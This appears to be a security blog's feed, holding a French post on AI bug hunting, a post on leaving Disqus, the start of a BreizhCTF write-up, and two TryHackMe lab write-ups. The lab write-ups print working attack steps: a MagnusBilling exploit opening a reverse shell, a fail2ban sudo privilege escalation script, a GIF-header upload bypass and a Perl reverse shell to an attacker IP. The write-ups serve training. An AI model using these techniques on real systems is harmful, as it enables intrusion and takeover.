                Pour moi, c'est le discours promotionnel que vous tenez aux investisseurs pour obtenir des millions de dollars (ou francs). Mais est-il « entièrement autonome » ? Bien sûr que non, il a été entraîné pendant des années, ajusté, affiné, il exécute des tests de référence faits maison, le modèle est constamment renforcé, le tout par des humains. Une équipe d'au moins 25 chercheurs en sécurité, en ingénierie et en IA est derrière lui. À cela s'ajoute le triage manuel interne dont nous avons parlé plus haut.

                À propos de l'IA#

                En général, je suis fatiguée d'entendre les testeurs et les chasseurs commenter sur Discord ou Twitter :

                • Alice : Que pensez-vous des gens qui arrivent à la conclusion que les chasseurs de bogues sont « remplacés » ?
                • Bob : Il semble que nous allions dans cette direction. L'IA peut trouver des bogues et même coder ses propres scripts d'exploitations.

                😱 Sommes-nous tous (les chasseurs) remplacés par l'IA ? 😱 La peur récurrente de l'humain remplacé par sa nouvelle machine (comme dans Terminator ou d'innombrables autres films). Je pense que non.

                Pour ne prendre qu'un exemple. Les IA sont formées sur des corpus de données produites par des humains, de sorte que l'innovation et l'adaptation aux nouvelles technologies et techniques semblent limitées. Nous avons toujours besoin d'humains qui font de la recherche, qui publient leurs découvertes, d'ingénieurs en données qui rendent ces informations ingérables par les ordinateurs, et d'experts en IA qui entraînent leur modèle sur ces données. Du moins jusqu'à ce que nous créions des agents d'IA auto-apprenants qui effectuent leurs propres recherches.

                Mais pour l'instant, il semble que l'IA sera toujours à la traîne par rapport aux meilleurs chasseurs. Cependant, l'IA peut traiter un nombre considérable d'informations par rapport aux humains. En fait, l'IA n'est qu'une meilleure couche d'automatisation dans ce domaine (sécurité et chasse aux bogues). Elle permet de réduire les faux positifs des logiciels existants et d'automatiser l'écriture de nouveaux modules. Toute sonde traditionnelle comme Nessus ou Nuclei nécessite un humain pour écrire un nouveau module pour chaque nouvelle vulnérabilité. Avec l'IA, vous créez un algorithme auquel vous donnez des données aléatoires sur les nouvelles vulnérabilités et à qui vous dites « faites quelque chose avec ça », et l'algorithme fait la magie de « l'apprendre » automatiquement.

                L'IA tend-elle à produire de meilleurs logiciels automatisés ? Oui. L'IA nous remplacera-t-elle totalement ? Je pense que ce n'est pas pour demain.

                Je pense plutôt que l'IA se chargera de la partie quantitative consistant à trouver des vulnérabilités communes en masse, tandis que les chasseurs humains devront se concentrer sur la qualité, les cas limites, la découverte de nouveaux vecteurs d'attaque, s'ils veulent rivaliser avec les logiciels automatisés (s'il y a vraiment une concurrence, et que nous ne comparons pas une équipe de 25 personnes plus un centre de données à un chasseur humain). Les chasseurs devront être des chercheurs, tandis que l'IA sera le besogneux.

                Décharge de responsabilité#

                Ce billet de blogue est basé sur des réflexions succinctes que j'ai eues en lisant les nouvelles et en écoutant mes collègues au cours de la semaine écoulée. Il ne s'agit en aucun cas d'une étude scientifique ou d'une analyse approfondie du modèle d'IA qui sous-tend XBOW. Je peux me tromper, ce n'est qu'une opinion honnête engendrée par l'irritation suscitée par le battage médiatique autour de l'IA.

                ]]>                 Billing - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Billing-write-up/ Information

                Room#

                • Name: Billing
                • Alexandre ZANNI writeups security fail2ban web php writeups eop sudo thm asterisk Sun, 27 Apr 2025 00:35:00 GMT Information

                  Room#

                  • Name: Billing
                  • Profile: tryhackme.com
                  • Difficulty: Easy
                  • Description: Some mistakes can be costly.

                  Billing

                  Write-up

                  Overview#

                  Install tools used in this WU on BlackArch Linux:

                  sudo pacman -S nmap nuclei ffuf pass-station metasploit

                  Goal#

                  Gain a shell, find the way and escalate your privileges!

                  Note: Bruteforcing is out of scope for this room.

                  Network enumeration#

                  First and foremost, let's add a domain to this machine.

                  ➜ sudoedit /etc/hosts➜ grep billing /etc/hosts10.10.15.152 billing.thm

                  Note: The IP address can change over the write-up if I restarted the machine.

                  Scan available network services:

                  # Nmap 7.95 scan initiated Mon Apr 21 21:50:21 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap billing.thmNmap scan report for billing.thm (10.10.15.152)Host is up, received echo-reply ttl 63 (0.48s latency).Not shown: 64688 closed tcp ports (reset), 843 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT     STATE SERVICE  REASON         VERSION22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)| ssh-hostkey:|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)80/tcp   open  http     syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))| http-title:             MagnusBilling|_Requested resource was http://billing.thm/mbilling/|_http-server-header: Apache/2.4.56 (Debian)| http-robots.txt: 1 disallowed entry|_/mbilling/| http-methods:|_  Supported Methods: GET HEAD POST OPTIONS3306/tcp open  mysql    syn-ack ttl 63 MariaDB 10.3.23 or earlier (unauthorized)5038/tcp open  asterisk syn-ack ttl 63 Asterisk Call Manager 2.10.6Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Mon Apr 21 21:55:48 2025 -- 1 IP address (1 host up) scanned in 327.01 seconds

                  The SSH server is probably not the way to get in. The HTTP server is probably the first service to be reviewed. It's interesting to note the database socket is exposed. We can also see a PABX service, which is uncommon.

                  Web discovery#

                  The root of the web server redirects to a sub-folder http://billing.thm/mbilling/, which is a login page.

                  A quick nuclei scan shows nothing special.

                  nuclei -u http://billing.thm/mbilling/

                  Web fuzzing#

                  Let's see if we can detect something more spicy.

                  ffuf -u http://billing.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
                  […]index.php               [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 58ms]robots.txt              [Status: 200, Size: 37, Words: 3, Lines: 5, Duration: 51ms][…]
                  ffuf -u http://billing.thm/mbilling/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
                  […]cron.php                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 55ms]index.php               [Status: 200, Size: 663, Words: 46, Lines: 1, Duration: 70ms]index.html              [Status: 200, Size: 30760, Words: 1501, Lines: 137, Duration: 67ms][…]
                  ffuf -u http://billing.thm/mbilling/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
                  […]lib                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 53ms]assets                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 59ms]archive                 [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 47ms]resources               [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 154ms]protected               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 65ms]tmp                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 2856ms]fpdf                    [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 89ms]

                  Directory listing is enabled, but there is nothing much to see.

                  Asterisk Call Manager discovery#

                  As we didn't find much, at first glance, on the web server, maybe it's better to target the Asterisk Call Manager for now as it is unusual to see one.

                  Searching internet for resources, I found :

                  With pass-station, I found some generic default credentials for Asterisk products.

                  ➜ pass-station search 'Asterisk'+---------------+----------+----------+| productvendor | username | password |+---------------+----------+----------+| Asterisk      | Admin    | admin    |+---------------+----------+----------+

                  It's worth the try.

                  Let's try with the default credentials from MSF (admin / amp111) and with the one in pass-station (Admin / admin).

                  ➜ msfconsole -x "use auxiliary/gather/asterisk_creds; set rhost billing.thm; run"[…][*] Running module against 10.10.15.152[*] 10.10.15.152:5038 - Found Asterisk Call Manager version 2.10.6[-] 10.10.15.152:5038 - Auxiliary aborted due to failure: no-access: Authentication failed[*] Auxiliary module execution completed➜ msfconsole -x "use auxiliary/gather/asterisk_creds; set rhost billing.thm; set username Admin; set password admin; run"[…][*] Running module against 10.10.15.152[-] 10.10.15.152:5038 - The connection was refused by the remote host (10.10.15.152:5038).[*] Auxiliary module execution completed

                  But after one tentative, we have new connections refused.After restarting the machine and user the second set of credentials, I got the same behavior. It seems the exploit makes the machine crash.

                  MagnusBilling exploitation#

                  If we search for mbilling, we find that MagnusBilling is a free billing OpenSource to Asterisk.

                  Searching in metasploit directly, we find there is an exploit for CVE-2023-30258.

                  ➜ msfconsole -x 'search name:MagnusBilling'[…]Matching Modules================   #  Name                                                        Disclosure Date  Rank       Check  Description   -  ----                                                        ---------------  ----       -----  -----------   0  exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258  2023-06-26       excellent  Yes    MagnusBilling application unauthenticated Remote Command Execution.   1    \_ target: PHP                                            .                .          .      .   2    \_ target: Unix Command                                   .                .          .      .   3    \_ target: Linux Dropper

                  Exploitation works!

                  msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > run[*] Started reverse TCP handler on 10.21.34.47:4444[*] Running automatic check ("set AutoCheck false" to disable)[*] Checking if 10.10.214.103:80 can be exploited.[*] Performing command injection test issuing a sleep command of 5 seconds.[*] Elapsed time: 5.21 seconds.[+] The target is vulnerable. Successfully tested command injection.[*] Executing PHP for php/meterpreter/reverse_tcp[*] Sending stage (40004 bytes) to 10.10.214.103[+] Deleted nDwBQcotUgsKa.php[*] Meterpreter session 1 opened (10.21.34.47:4444 -> 10.10.214.103:49204) at 2025-04-26 19:24:10 +0200

                  Shell works, let's upgrade it to a fully interactive TTY.

                  meterpreter > shellProcess 1671 created.Channel 0 created.iduid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)pwd/var/www/html/mbilling/lib/icepaypython3 -c 'import pty; pty.spawn("/bin/bash")'asterisk@Billing:/var/www/html/mbilling/lib/icepay$

                  System reconnaissance#

                  There are no credentials stored in /var/www/html/mbilling/protected/config/ but from those files we can learn an INI file is loaded from /etc/asterisk/res_config_mysql.conf.

                  asterisk@Billing:/var/www/html/mbilling$ ls -lh protected/config/cctotal 16K-r-xr-xr-x 1 root root 2.7K Sep 12  2024 cron_production.php-r-xr-xr-x 1 root root 3.3K Sep 12  2024 main.php-r-xr-xr-x 1 root root 3.3K Sep 12  2024 main_production.php-r-xr-xr-x 1 root root  759 Sep 12  2024 permissions.phpasterisk@Billing:/var/www/html/mbilling$ cat /etc/asterisk/res_config_mysql.conf[general]dbhost = 127.0.0.1dbname = mbillingdbuser = editeddbpass = edited

                  MariaDB exploration#

                  We can't connect from the exposed 3306 port, we'll have to connect locally.

                  asterisk@Billing:/$ mysql -H mbilling -u mbillingUser -pEnter password:[…]Server version: 10.5.23-MariaDB-0+deb11u1 Debian 11[…]MariaDB [mbilling]> SHOW TABLES;<TABLE BORDER=1><TR><TH>Tables_in_mbilling</TH></TR><TR><TD>pkg_alarm</TD></TR>[…]MariaDB [mbilling]> pager less -S;PAGER set to 'less -S'MariaDB [mbilling]> SHOW TABLES;WARNING: terminal is not fully functional-  (press RETURN)

                  But since the pager is not working properly in our shell, the output is in HTML which is quite hard to read.

                  SHOW TABLES one rendered in HTML shows there a table named pkg_user.

                  SELECT * FROM pkg_user; shows there is only one user named root with a SHA1 hash password.A quick hit on CrackStation gave nothing, but fortunately, while I was looking for the hash format in the source code, I found this documentation that reminded me I can just change it.

                  UPDATE pkg_user SET password = SHA1("magnus") WHERE username = "root";

                  So I can connect to the WebUI using root / magnus. But I don't think we'll get anything from it.

                  Back to system reconnaissance#

                  There is a user named magnus that has a shell.

                  asterisk@Billing:/$ grep '/bin/bash' /etc/passwdroot:x:0:0:root:/root:/bin/bashmagnus:x:1000:1000:magnus,,,:/home/magnus:/bin/bash
                  asterisk@Billing:/home/magnus$ ls -lhAtotal 68Klrwxrwxrwx  1 root   root      9 Mar 27  2024 .bash_history -> /dev/null-rw-------  1 magnus magnus  220 Mar 27  2024 .bash_logout-rw-------  1 magnus magnus 3.5K Mar 27  2024 .bashrcdrwx------ 10 magnus magnus 4.0K Sep  9  2024 .cachedrwx------ 11 magnus magnus 4.0K Mar 27  2024 .configdrwx------  3 magnus magnus 4.0K Sep  9  2024 .gnupgdrwx------  3 magnus magnus 4.0K Mar 27  2024 .local-rwx------  1 magnus magnus  807 Mar 27  2024 .profiledrwx------  2 magnus magnus 4.0K Mar 27  2024 .sshdrwx------  2 magnus magnus 4.0K Mar 27  2024 Desktopdrwx------  2 magnus magnus 4.0K Mar 27  2024 Documentsdrwx------  2 magnus magnus 4.0K Mar 27  2024 Downloadsdrwx------  2 magnus magnus 4.0K Mar 27  2024 Musicdrwx------  2 magnus magnus 4.0K Mar 27  2024 Picturesdrwx------  2 magnus magnus 4.0K Mar 27  2024 Publicdrwx------  2 magnus magnus 4.0K Mar 27  2024 Templatesdrwx------  2 magnus magnus 4.0K Mar 27  2024 Videos-rw-r--r--  1 magnus magnus   38 Mar 27  2024 user.txtasterisk@Billing:/home/magnus$ cat user.txtTHM{edited}

                  Elevation of Privileges (EoP)#

                  It seems asterisk user can run fail2ban-client as root.

                  asterisk@Billing:/$ sudo -lMatching Defaults entries for asterisk on Billing:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binRunas and Command-specific defaults for asterisk:    Defaults!/usr/bin/fail2ban-client !requirettyUser asterisk may run the following commands on Billing:    (ALL) NOPASSWD: /usr/bin/fail2ban-client

                  This article explains how to EoP by tempering the F2B configuration so that it loads attacker controlled code. We'll create a SUID shell that way.

                  TD_conf=$(mktemp -d)rsync -av /etc/fail2ban/ $TD_confTD_exploit=$(mktemp -d)cat > $TD_exploit/exploit <<EOF#!/bin/shcp /bin/bash $TD_exploit/bashchmod 755 $TD_exploit/bashchmod u+s $TD_exploit/bashEOFchmod +x $TD_exploit/exploitcat > $TD_conf/action.d/custom-start-command.conf <<EOF[Definition]actionstart = $TD_exploit/exploitEOFcat >> $TD_conf/jail.local <<EOF[my-custom-jail]enabled = trueaction = custom-start-commandEOFcat > $TD_conf/filter.d/my-custom-jail.conf <<EOF[Definition]EOFsudo /usr/bin/fail2ban-client -c $TD_conf -v restart$TD_exploit/bash -p

                  By the way I PRed to add this technique to GTFOBins.

                  We get a root shell:

                  bash-5.1# iduid=1001(asterisk) gid=1001(asterisk) euid=0(root) groups=1001(asterisk)bash-5.1# cat /root/root.txtTHM{edited}
                  ]]>                   Bypass Disable Functions - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Bypass-Disable-Functions-write-up/ Information

                  Room#

                  • Name: Bypass Disable Funct]]> Alexandre ZANNI writeups security web php writeups thm upload Sun, 30 Mar 2025 17:56:00 GMT Information

                    Room#

                    • Name: Bypass Disable Functions
                    • Profile: tryhackme.com
                    • Difficulty: Info
                    • Description: Practice bypassing disabled dangerous features that run operating system commands or start processes.

                    Bypass Disable Functions

                    Write-up

                    Overview#

                    Install tools used in this WU on BlackArch Linux:

                    sudo pacman -S nmap ffuf chankro

                    Network enumeration#

                    Let's add a custom hostname to the machine.

                    ➜ grep bypassdisablefunctions /etc/hosts10.10.154.25 bypassdisablefunctions.thm

                    Port and service enumeration with nmap.

                    # Nmap 7.95 scan initiated Sun Mar 30 19:01:25 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap bypassdisablefunctions.thmNmap scan report for bypassdisablefunctions.thm (10.10.154.25)Host is up, received echo-reply ttl 63 (0.065s latency).Not shown: 65336 closed tcp ports (reset), 197 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT   STATE SERVICE REASON         VERSION22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)|   256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)|_  256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: Ecorp - Jobs| http-methods:|_  Supported Methods: POST OPTIONS GET HEADService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Mar 30 19:02:08 2025 -- 1 IP address (1 host up) scanned in 42.53 seconds

                    Nothing to see outside the web server.

                    Web discovery & enumeration#

                    On the homepage there is nothing but a link to http://bypassdisablefunctions.thm/cv.php.

                    Let's use ffuf to fuzz a bit around and identify potential files and folders.

                    ➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt[…]uploads                 [Status: 301, Size: 342, Words: 20, Lines: 10, Duration: 54ms]assets                  [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 67ms]server-status           [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt[…]index.html              [Status: 200, Size: 12012, Words: 3434, Lines: 244, Duration: 64ms].htaccess               [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]phpinfo.php             [Status: 200, Size: 68311, Words: 3202, Lines: 747, Duration: 87ms][…]cv.php                  [Status: 200, Size: 4153, Words: 1078, Lines: 98, Duration: 81ms]

                    There are a /uploads/ folder as well as a phpinfo.php file.

                    On http://bypassdisablefunctions.thm/phpinfo.php, we can check the directives that are important for security.

                    • disable_functions: exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
                    • open_basedir: empty
                    • $_SERVER['DOCUMENT_ROOT']: /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db

                    On the CV page it says Upload a real image, if we do so we can find it back at http://bypassdisablefunctions.thm/uploads/ where there is a directory listing.However, if we upload a PHP file, it is rejected (no error, but the file is not available on /uploads/). The server doesn't care about the extension .php or the Content-Type application/x-php so it must be checking the file type directly with file or magic header library.So what I'll do is creating a file gif.txt containing the GIF magic bytes plus a semicolon and a new line:

                    GIF89a;

                    And I'll create a simple test file noraj.php using none of the blocked function:

                    <?php echo 'noraj'; ?>

                    Then I'll concatenate both so that my PHP script spoofs a GIF signature header.

                    cat gif.txt noraj.php > noraj_obfu.php

                    When uploading the spoofed test file, this time we get a different response:

                     OK>

                    And at http://bypassdisablefunctions.thm/uploads/noraj_obfu.php we have GIF89a; noraj displayed. The test went well, now we can go with the real payload.

                    PHP disable_function bypass#

                    The issue is that a lot of functions that allow easy command execution are banned. So to bypass that we'll use chankro.

                    Tool to bypass disable_functions and open_basedir in PHP by calling sendmail and setting LD_PRELOAD environment variable

                    Ref

                    I already used this tool during ECSC 2019 Quals.

                    First, I'll create the reverse shell (rev.sh) I want to use on revshells.com (OS: Linux, Type: Perl, Shell: /bin/bash, IP: THM VPN one, Port: 80).

                    perl -e 'use Socket;$i="10.21.34.47";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

                    Then let's use chankro to generate the bypass PHP dropper. We already found the path of the web root on the phpinfo.php page.

                    chankro --arch 64 --input rev.sh --output dropper.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads

                    As during the previous test, we need to spoof the GIF signature.

                    cat gif.txt dropper.php > dropper_obfu.php

                    By the way, little tips, to be able to bind port under 1024 without root:

                    sudo sysctl -w net.ipv4.ip_unprivileged_port_start=0 | sudo tee -a /etc/sysctl.d/99-custom.conf

                    Launch a listener and trigger dropper_obfu.php to get a shell.

                    ➜ ncat -lvnp 80Ncat: Version 7.95 ( https://nmap.org/ncat )Ncat: Listening on [::]:80Ncat: Listening on 0.0.0.0:80Ncat: Connection from 10.10.154.25:42852.bash: cannot set terminal process group (743): Inappropriate ioctl for devicebash: no job control in this shellwww-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$www-data@ubuntu:/$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@ubuntu:/$ ls -lh /hometotal 4.0Kdrwxr-xr-x 4 s4vi s4vi 4.0K Jun 23  2021 s4viwww-data@ubuntu:/$ cd /home/s4viwww-data@ubuntu:/home/s4vi$ ls -lhA .total 36K-rw------- 1 root root 6.0K Jun 23  2021 .bash_history-rw-r--r-- 1 s4vi s4vi  220 Jun 22  2021 .bash_logout-rw-r--r-- 1 s4vi s4vi 3.7K Jun 22  2021 .bashrcdrwx------ 2 s4vi s4vi 4.0K Jun 22  2021 .cachedrwxrwxr-x 2 s4vi s4vi 4.0K Jun 23  2021 .nano-rw-r--r-- 1 s4vi s4vi  655 Jun 22  2021 .profile-rw-r--r-- 1 s4vi s4vi    0 Jun 23  2021 .sudo_as_admin_successful-rw-r--r-- 1 root root  183 Jun 23  2021 .wget-hsts-rw-rw-r-- 1 s4vi s4vi   37 Jun 23  2021 flag.txtwww-data@ubuntu:/home/s4vi$ cat flag.txtthm{…}

                    Post-exploitation exploration#

                    /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/cv.php

                    <!DOCTYPE html><html lang="en">  <head>[…]  </head>  <body>      <!-- Header Section Start -->[…]      <!-- Header Section End -->      <div class="search-container">      </div>    </section>    <!-- end intro section -->    </div>    <!-- Find Job Section Start -->    <section class="find-job section">      <div class="container">        <h2 class="section-title">Send your cv in image format</h2>        <div class="row">          <form enctype="multipart/form-data" action="" method="POST">            <input name="file" type="file" />            <input type="submit" value="Subir archivo" />        </form>        <div>          <?php            $mimetype = mime_content_type($_FILES['file']['tmp_name']);            if(in_array($mimetype, array('image/jpeg', 'image/gif', 'image/png'))) {            move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);                echo 'OK';            } else {            echo 'Upload a real image';            exit;           }          ?>        </div>>          </div>        </div>    </section>    </footer>    <!-- Main JS  -->[…]  </body></html>
                    grep -vP '(?:^\;)|(?:^$)' /etc/php/7.0/apache2/php.ini
                    [PHP]engine = Onshort_open_tag = Offprecision = 14output_buffering = 4096zlib.output_compression = Offimplicit_flush = Offunserialize_callback_func =serialize_precision = 17open_basedir = nonedisable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,[…]

                    /etc/apache2/sites-enabled/000-default.conf

                    <VirtualHost *:80>[…]        ServerAdmin webmaster@localhost        DocumentRoot /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db        ErrorLog ${APACHE_LOG_DIR}/error.log        CustomLog ${APACHE_LOG_DIR}/access.log combined[…]</VirtualHost>
                    ]]>                     Disqus: End of Discussion https://blog.raw.pm/en/disqus-end-of-discussion/ Introduction: the error of not choosingmisc blog comments Tue, 18 Mar 2025 10:12:00 GMT Introduction: the error of not choosing#

                    Disqus is one of the major third-party commenting and discussion system.

                    However, I never really chose to use Disqus.It was a bit of an imposition because it was more or less the only system supported for my theme.Indeed, hexo-theme-hueman was supporting Disqus, Duoshuo and YouYan. Later more comment system support were added, but most of them were Chinese only. So I ended up picking Disqusbecause it was the only Latin language friendly option.

                    As I never really checked the pros and cons, or compared it with competitors I was happy about it until they forced ads injection into my website.

                    Disqus force ads on basic plan https://e.customeriomail.com/deliveries/dgTw7wMAAOLwe93wewGUwlkPmKSlkSOlCY6C5V8=

                    Hi there,

                    You're currently on our free Disqus Basic plan, which is our ad-supported tier that comes with only the most rudimentary features.

                    Ads will begin appearing on your comment section shortly.

                    Not interested in ads? No problem—we offer ad-free subscription packages, Disqus Plus and Disqus Pro, that come with more advanced engagement features like community Badges, enhanced moderation features that get rid of spam & toxic comments, and powerful analytics dashboards that give you detailed metrics about your commenting community that the content that resonates with them.

                    We're currently offering free 30-day trials of both Disqus Plus and Disqus Pro. Just click the button below to learn more about our ad-free subscription packages and sign up for your free trial today!

                    Source: email "Account update: ads will begin appearing on your comment section" from hello@disqus.com, 01/03/2025

                    The beginning of the end#

                    About one month after I received this message, Disqus started to inject ads in my section comment, because I was using the Basic Plan (Free).

                    It could be ok, since it's a free plan, it could be a way to pay for it.

                    But is the ads in an acceptable format? Respecting privacy? Will they share revenue with me?

                    Sharing revenue#

                    A month after I was told now ads are forcefully injected into my website, I was also invited to check if I'm eligible to earn from the revenue sharing program.

                    Disqus offers a sharing revenue program https://e.customeriomail.com/deliveries/dgTw7wMAAOLwe93wewGUwlkPmKSlkSOlCY6C5V8=

                    Hi there,

                    You're currently using our ad-supported Basic plan. Did you know that you can potentially begin earning a significant portion of your ad revenue? For eligible publishers, we offer a generous revenue-sharing program that aims to give back to our customers.

                    Interested in seeing if you qualify? Just go ahead and respond directly to this email and we'll get back to you with more information.

                    Do you want to remove ads completely? We have ad-free subscription plans, Disqus Plus and Disqus Pro, that both come with advanced features and functionality. Check out our pricing & plans page for more information about how to subscribe and remove ads today.

                    Source: email "Want to start earning a share of your ad revenue?" from hello@disqus.com, 01/03/2025

                    I already knew I would remove Disqus from my website as I don't want ads on it. But I wanted to check what they had to offer to see if was a scam (90% for them and 10% for me) or is the offer was really generous as they claimed.

                    Note: Yes removing Disqus, as this website is open-source, has no ads, not user tracking, no data selling and no revenue, I wouldn't pay $20/month to removed ads.

                    So I showed them the visit metrics: 230 000 visits in less than the last 3 years, at a rate of about 3000 to 7000 visits a month.

                    The answer?

                    To clarify, enabling Disqus ads is not the same as being enrolled in our Revenue Sharing program.

                    You see the “we tell the world we have generous revenue sharing but in reality nobody is eligible to it so we have a good image but keep all the money” coming?

                    Also, are they skilled?

                    Please provide me with the email address and username of associated with your account, so that we may check your eligibility. We found no Disqus accounts under the email redacted@redacted.

                    I was literally writing to them from the same email address as my account was using, so I even shared a screenshot of my profile.

                    I sincerely apologize for the mixup - we were able to locate your account/site.

                    They finally found me, so they were able to give me an answer:

                    We have reviewed your site and it does not currently qualify as a good fit for the Disqus revenue-sharing program at this time. Try focusing on increasing the engagement on your site, and feel free to reach back out in 6 months for another review.

                    Nice, so what do you need to be eligible to revenue sharing? 10 millions visits a month? LOL. Nobody knows. They will probably inject ads on hundred of thousands of websites and won't share a penny with them, as the criteria for eligibility are not public, you don't even know what to target.

                    Intrusive or acceptable ads?#

                    Look at that:

                    Disqus massive ads banner

                    Their ads are abusive and invasive, it does not respect the modern industry standards like https://acceptableads.com/standard/. Let's see if they check the rules:

                    1. Distinction: 🟡 it's not tagged as advertisement but as sponsored but at least it's tagged.
                    2. Size:
                    • 🔴 "If placed lower on the page, ads must not collectively occupy more than 25% of the visible portion of the webpage."
                    • 🔴 "Up to 400px high for ads below the Primary Content"

                    Indeed, the ads on top of the comment section is 700px * 700px which is nearly two times maximum acceptable size for ads below the Primary Content which is already the most favorable scenario. Even if you set your web browser on full-screen and can use 100% of the height of your display, for a 1080px that is more than 64% of the height. But with windows decoration, URL bar, shortcut bar, etc. that will more likely be above 75%. A similarly massive banner is also present below the comment section.

                    Disqus is neither respecting the readers nor the bloggers with those kinds of ads.

                    Privacy: let me laugh#

                    TL;DR: they sold your data and still are, they did so even without your consent, and risk to face justice for that.

                    Also, not removing your data when you ask them to:

                    Affiliate links injection:

                    Security? Not better#

                    2013 — 29 million online comments leak:

                    2017 — database containing 17.5 million users' email addresses leak:

                    Cheaper, better, more ethical alternatives#

                    Hopefully, there are tons of competitive alternatives nowadays:

                    ]]>                     BreizhCTF 2k25 - Write-ups https://blog.raw.pm/fr/BreizhCTF-2025-write-ups/ Information#

                    CTF Alexandre ZANNI writeups security web writeups ctf Thu, 06 Mar 2025 20:48:00 GMT Information#

                    CTF#

                    • Nom : BreizhCTF 2k25
                    • Site web : www.breizhctf.com
                    • Type : Sur site — France — Rennes
                    • Format : Jeopardy

                    Web - CurlMania#

                    Vous n'avez qu'une seule chose à faire, suivre les instructions...

                    Auteur : Mika

                    Le site https://curlmania.ctf.bzh/ nous donnera le flag si nous réussissons à envoyer une requête HTTP respectant toutes les règles édictées (avec curl).

                    Une première tentative est la suviante :

                    curl https://curlmania.ctf.bzh/1337?a=1&b=2&c=35 --user-agent "J'aime la galette saucisse" \  -X GET -H 'LIBEREZ-GCC: OUI' -H 'Cookie: jaiplustropdinspi=1' -H 'content-type: application/json' \  -d '{"enbretagne":"il fait toujours beau"}' -H 'content-length: 1337' \  -H "referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra"

                    Mais le problème est que curl calcule automatiquement le content-length, donc 2 en-têtes sont envoyés et le dernier seulement sera pris en compte par le serveur (38 aura la précédence sur 1337).

